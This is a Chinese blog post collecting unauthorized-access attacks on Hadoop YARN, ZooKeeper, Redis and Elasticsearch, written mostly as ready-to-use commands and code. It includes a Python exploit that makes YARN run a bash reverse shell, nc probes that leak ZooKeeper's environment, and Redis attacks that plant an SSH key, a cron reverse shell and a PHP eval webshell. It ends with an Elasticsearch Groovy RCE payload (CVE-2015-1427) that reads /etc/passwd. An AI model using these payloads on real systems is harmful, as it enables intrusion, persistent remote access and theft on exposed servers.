未授權(quán)訪問漏洞匯集

NFS服務(wù),Samba服務(wù),LDAP,Rsync,F(xiàn)TP,GitLab,Jenkins,MongoDB,Redis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo等

0x00 Hadoop未授權(quán)訪問漏洞

Hadoop是一個(gè)由Apache基金會(huì)所開發(fā)的分布式系統(tǒng)基礎(chǔ)架構(gòu),YARN是hadoop系統(tǒng)上的資源統(tǒng)一管理平臺(tái),其主要作用是實(shí)現(xiàn)集群資源的統(tǒng)一管理和調(diào)度,可以把MapReduce計(jì)算框架作為一個(gè)應(yīng)用程序運(yùn)行在YARN系統(tǒng)之上,通過YARN來管理資源。簡單的說,用戶可以向YARN提交特定應(yīng)用程序進(jìn)行執(zhí)行,其中就允許執(zhí)行相關(guān)包含系統(tǒng)命令。

yarn默認(rèn)開發(fā)8088和8089端口。

檢測(cè)漏洞存在方式:

curl -X POST 172.16.20.134:8088/ws/v1/cluster/apps/new-application
證明漏洞存在.png

exp

import requests
target = 'http://172.16.20.134:8088/'
lhost = '172.16.20.108'  # put your local host ip here, and listen at port 9999
 
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
print(resp.text)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
print (data)
requests.post(url, json=data)

參考

0x01 zoopker

ZooKeeper是一個(gè)分布式的,開放源碼的分布式應(yīng)用程序協(xié)調(diào)服務(wù),是Google的Chubby一個(gè)開源的實(shí)現(xiàn),是Hadoop和Hbase的重要組件。它是一個(gè)為分布式應(yīng)用提供一致性服務(wù)的軟件,提供的功能包括:配置維護(hù)、域名服務(wù)、分布式同步、組服務(wù)等。

ZooKeeper默認(rèn)開啟在2181端口,在未進(jìn)行任何訪問控制情況下,攻擊者可通過執(zhí)行envi命令獲得系統(tǒng)大量的敏感信息,包括系統(tǒng)名稱、Java環(huán)境。

執(zhí)行以下命令即可遠(yuǎn)程獲取該服務(wù)器的環(huán)境:

echo envi|nc 192.168.15.74 2181
echo stat|nc 192.168.15.74 2181
image.png
image.png

圖形化客戶端工具

Zookeeper本身數(shù)據(jù)是以樹型結(jié)構(gòu)存儲(chǔ)組織的,可使用界面操作工具ZooInspector。
ZooInspector下載地址:
https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip
解壓,進(jìn)入目錄ZooInspector\build,
運(yùn)行或mac下雙擊zookeeper-dev-ZooInspector.jar:
java -jar zookeeper-dev-ZooInspector.jar //執(zhí)行成功后,會(huì)彈出java ui client
點(diǎn)擊左上角連接按鈕,輸入Zookeeper服務(wù)地址:ip:2181
點(diǎn)擊OK,就可以查看Zookeeper節(jié)點(diǎn)信息了。

image.png

0x02 redis未授權(quán)

寫入ssh公鑰

需要redis是以root權(quán)限運(yùn)行的。
攻擊者將自己的公鑰追加寫入redis服務(wù)器的 /root/.ssh 文件夾下的authotrized_keys文件中,攻擊者即可直接登錄該服務(wù)器。

ssh-keygen -t rsa  生成ssh公鑰和私鑰
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt  將公鑰保存成key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.80.44 -x set xxx  寫入redis
redis-cli -h 192.168.80.44  連接redis
config set dir /root/.ssh  設(shè)置寫文件的目錄
config set dbfilename authorized_keys  設(shè)置寫入的文件名
save

ssh命令連接
ssh root@192.168.80.44

寫入ssh公鑰.png

寫入cron定時(shí)任務(wù)

需要redis root權(quán)限運(yùn)行

redis-cli -h 192.168.80.44
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.40.155/4444 0>&1\n\n"
config set dir /var/spool/cron  設(shè)置寫文件的目錄
config set dbfilename root  設(shè)置寫入的文件名
save

可以寫入cron任務(wù)的路徑

/etc/crontab
/etc/cron.d/
/var/spool/cron/root為centos系統(tǒng)root用戶的cron文件
/var/spool/cron/crontabs/root為debian系統(tǒng)root用戶的cron文件

寫入webshell

需要知道網(wǎng)站路徑

redis-cli -h 192.168.80.44
config set dir /var/www/html
set xxx "\n\n\n<?php@eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php
save

0x03 elasticsearch未授權(quán)訪問

image.png

一般來說默認(rèn)開放了9200端口,可利用的路徑節(jié)點(diǎn)包括如下幾個(gè):

http://127.0.0.1:9200/_cat/indices/
http://127.0.0.1:9200/_plugin/head/
http://127.0.0.1:9200/_nodes
http://127.0.0.1:9200/_nodes?prettify
http://127.0.0.1::9200/_status
http://127.0.0.1::9200/_search?pretty
http://127.0.0.1:9200/zjftu/
http://127.0.0.1::9200/zjftu/_search?pretty

ElasticSearch Groovy RCE (CVE-2015-1427)

影響范圍
The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script.

對(duì)一下鏈接進(jìn)行一個(gè)POST
http://127.0.0.1:9200/_search?pretty

{"size":1,"script_fields": {"iswin": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容